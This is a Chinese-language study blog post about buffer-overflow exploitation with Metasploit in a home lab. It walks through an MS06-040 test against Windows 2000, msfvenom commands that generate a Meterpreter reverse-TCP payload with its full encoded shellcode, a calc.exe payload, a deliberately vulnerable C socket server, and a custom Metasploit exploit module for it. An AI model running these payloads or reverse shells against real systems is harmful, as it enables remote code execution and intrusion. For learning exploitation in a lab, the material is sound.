启程
尔其纤腰束素,迁延顾步。夏始春余,叶嫩花初。
缓冲区漏洞利用的一般过程
- 触发漏洞:缓冲区有多大,从哪里开始可以淹没返回地址,怎么注入代码等等
- 选择shellcode
- 设定shellcode的参数
- 选取编码和解码的算法
- exploit
2003年,Metasploit横空出世。
可以看到,如今的Metasploit已经十分成熟了:
Metasploit实战测试:MS06-040
漏洞简述
问题出在netapi32.dll
中第317个导出函数NetpwPathCanonicalize()
对于字符串参数的处理上。
环境搭建
从网上找了Windows 2000 SP4下载,开启RPC服务(Remote Procedure Call (RPC)和Remote Procedure Call (RPC) Locator)。
网络环境
测试
扫描结果如下:
配置:
攻击:
使用msfvenom制作Shellcode
新的MSF中msfvenom
取代了msfpayload
和msfencode
。
目前来说,它的用法是这样的:
我们以windows/meterpreter/reverse_tcp
为例:
用法:
msfvenom --payload windows/shell/bind_tcp --list-options
生成:
msfvenom --payload windows/meterpreter/reverse_tcp LHOST="172.16.56.1" LPORT="4444" --format c --arch x86 --platform windows --bad "\x00"
得到:
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of c file: 1571 bytes
unsigned char buf[] =
"\xbf\xd2\xee\x0c\x84\xdb\xcc\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x56\x31\x7d\x13\x83\xc5\x04\x03\x7d\xdd\x0c\xf9\x78\x09\x52"
"\x02\x81\xc9\x33\x8a\x64\xf8\x73\xe8\xed\xaa\x43\x7a\xa3\x46"
"\x2f\x2e\x50\xdd\x5d\xe7\x57\x56\xeb\xd1\x56\x67\x40\x21\xf8"
"\xeb\x9b\x76\xda\xd2\x53\x8b\x1b\x13\x89\x66\x49\xcc\xc5\xd5"
"\x7e\x79\x93\xe5\xf5\x31\x35\x6e\xe9\x81\x34\x5f\xbc\x9a\x6e"
"\x7f\x3e\x4f\x1b\x36\x58\x8c\x26\x80\xd3\x66\xdc\x13\x32\xb7"
"\x1d\xbf\x7b\x78\xec\xc1\xbc\xbe\x0f\xb4\xb4\xbd\xb2\xcf\x02"
"\xbc\x68\x45\x91\x66\xfa\xfd\x7d\x97\x2f\x9b\xf6\x9b\x84\xef"
"\x51\xbf\x1b\x23\xea\xbb\x90\xc2\x3d\x4a\xe2\xe0\x99\x17\xb0"
"\x89\xb8\xfd\x17\xb5\xdb\x5e\xc7\x13\x97\x72\x1c\x2e\xfa\x1a"
"\xd1\x03\x05\xda\x7d\x13\x76\xe8\x22\x8f\x10\x40\xaa\x09\xe6"
"\xd1\xbc\xa9\x38\x59\xac\x57\xb9\x99\xe4\x93\xed\xc9\x9e\x32"
"\x8e\x82\x5e\xba\x5b\x3e\x55\x2c\xc8\xae\x51\xad\x78\xcc\xa1"
"\xbc\x24\x59\x47\xee\x84\x09\xd8\x4f\x75\xe9\x88\x27\x9f\xe6"
"\xf7\x58\xa0\x2d\x90\xf3\x4f\x9b\xc8\x6b\xe9\x86\x83\x0a\xf6"
"\x1d\xee\x0d\x7c\x97\x0e\xc3\x75\xd2\x1c\x34\xe2\x1c\xdd\xc5"
"\x87\x1c\xb7\xc1\x01\x4b\x2f\xc8\x74\xbb\xf0\x33\x53\xb8\xf7"
"\xcc\x22\x88\x8c\xfb\xb0\xb4\xfa\x03\x55\x34\xfb\x55\x3f\x34"
"\x93\x01\x1b\x67\x86\x4d\xb6\x14\x1b\xd8\x39\x4c\xcf\x4b\x52"
"\x72\x36\xbb\xfd\x8d\x1d\xbf\xfa\x71\xe3\xe8\xa2\x19\x1b\xa9"
"\x52\xd9\x71\x29\x03\xb1\x8e\x06\xac\x71\x6e\x8d\xe5\x19\xe5"
"\x40\x47\xb8\xfa\x48\x09\x64\xfa\x7f\x92\x97\x81\xf0\x25\x58"
"\x76\x19\x42\x59\x76\x25\x74\x66\xa0\x1c\x02\xa9\x70\x1b\x1d"
"\x9c\xd5\x0a\xb4\xde\x4a\x4c\x9d";
将其放入XP中的通用shellcode调试模版,编译。
然后Attacker开启监听,配置完毕后在靶机运行上面编译过的程序:
彩蛋
它甚至可以直接生成exe!我们以弹计算器为例:
msfvenom --payload windows/exec cmd="calc" --format exe --out a.exe --arch x86 --platform windows --bad "\x00" --smallest
使用msfpescan扫描PE文件
搜索跳转寄存器:
搜索PPR(ROP技术的基本gadget):
Ruby语言简介
TryRuby可以提供一个简单的在线Ruby交互。
Hello world
:
#!/usr/bin/env ruby
print "hello world\n"
变量以$
开头,不分类型,不必提前声明。双引号内为可转义字符串(这一点和PowerShell很像),如
a = 4
b = 7
c = "a + b = #{a + b}\n"
print c
单引号内为纯字符串,不过如果出现单引号自身,依然要转义,但是有不同的方法:
# all is OK.
'that\'s a word'
%q{that's a word}
%q/that's a word/
%Q/that's a word/
%/that's a word/
数组:
a = [1, 'test', [2, 'test']]
hash表(即Python中字典):
a = {
'hello' => "wunderbar!",
'test' => "Oops..."
}
print(a['hello'])
函数:
def display(n)
if n == 1
then
print "YOU GOT IT!!!"
else
print "YOU LOST IT..."
end
end
display(1)
module
与class
与函数类似,只不过分别以module
和class
标明开始,以end
标明结束。
傻瓜式exploit开发(unsolved)
我们针对一个有漏洞的server:
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char * buf)
{
char msg[200];
strcpy(msg, buf);// overflow here, copy 0x200 to 200
cout << "********************" << endl;
cout << "received:" << endl;
cout<<msg<<endl;
}
void main()
{
int sock,msgsock,lenth,receive_len;
struct sockaddr_in sock_server,sock_client;
char buf[0x200]; //noticed it is 0x200
WSADATA wsa;
WSAStartup(MAKEWORD(1,1),&wsa);
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
{
cout<<sock<<"socket creating error!"<<endl;
exit(1);
}
sock_server.sin_family=AF_INET;
sock_server.sin_port=htons(7777);
sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
{
cout<<"binging stream socket error!"<<endl;
}
cout<<"**************************************"<<endl;
cout<<" exploit target server 1.0 "<<endl;
cout<<"**************************************"<<endl;
listen(sock,4);
lenth=sizeof(struct sockaddr);
do{
msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
if(msgsock==-1)
{
cout<<"accept error!"<<endl;
break;
}
else
do
{
memset(buf,0,sizeof(buf));
if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
{
cout<<"reading stream message erro!"<<endl;
receive_len=0;
}
msg_display(buf);//trigged the overflow
}while(receive_len);
closesocket(msgsock);
}while(1);
WSACleanup();
}
开发一个exploit,并在MSF下运行。
这是一个非常简易的TCP socket程序。编译运行后,程序会在7777端口监听TCP,如果收到数据就在屏幕上打印。在main函数中buf数组大小被声明为0x200,在display函数中局部数组大小仅为200,因此在display函数中的strcpy
操作将导致一个栈溢出。
我们编译运行,简单测试:
Attacker: 172.16.56.1
Target: 172.16.56.134
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'rambo_test',
'Platform' => 'win',
'Targets' => [
['Windows XP SP3',{'Ret' => 0x7C939DB0} ]
],
'Payload' => {
'Space' => 220,
'BadChars' => "\x00",
}
))
end
def exploit
connect
attack_buf = 'a' * 204 + [target['Ret']].pack('V') + payload.encoded
sock.put(attack_buf)
handler
disconnect
end
end
这里出了状况。我给failwest前辈发了E-mail,不过目前尚未得到前辈的回复。
用MSF发布PoC
越来越多的PoC会用MSF的exploit模块方式发布。后面我将专门学习Metasploit的使用并掌握它!
总结
可以发现,Metasploit比我们前几章的苦力轻松方便多了!工欲善其事,必先利其器。
另外,Metasploit的使用会让你的思维发生飞跃——hacking gadgets可以变得可积累、可重用。总之,它非常值得进一步学习。
Hacking is FUN!!!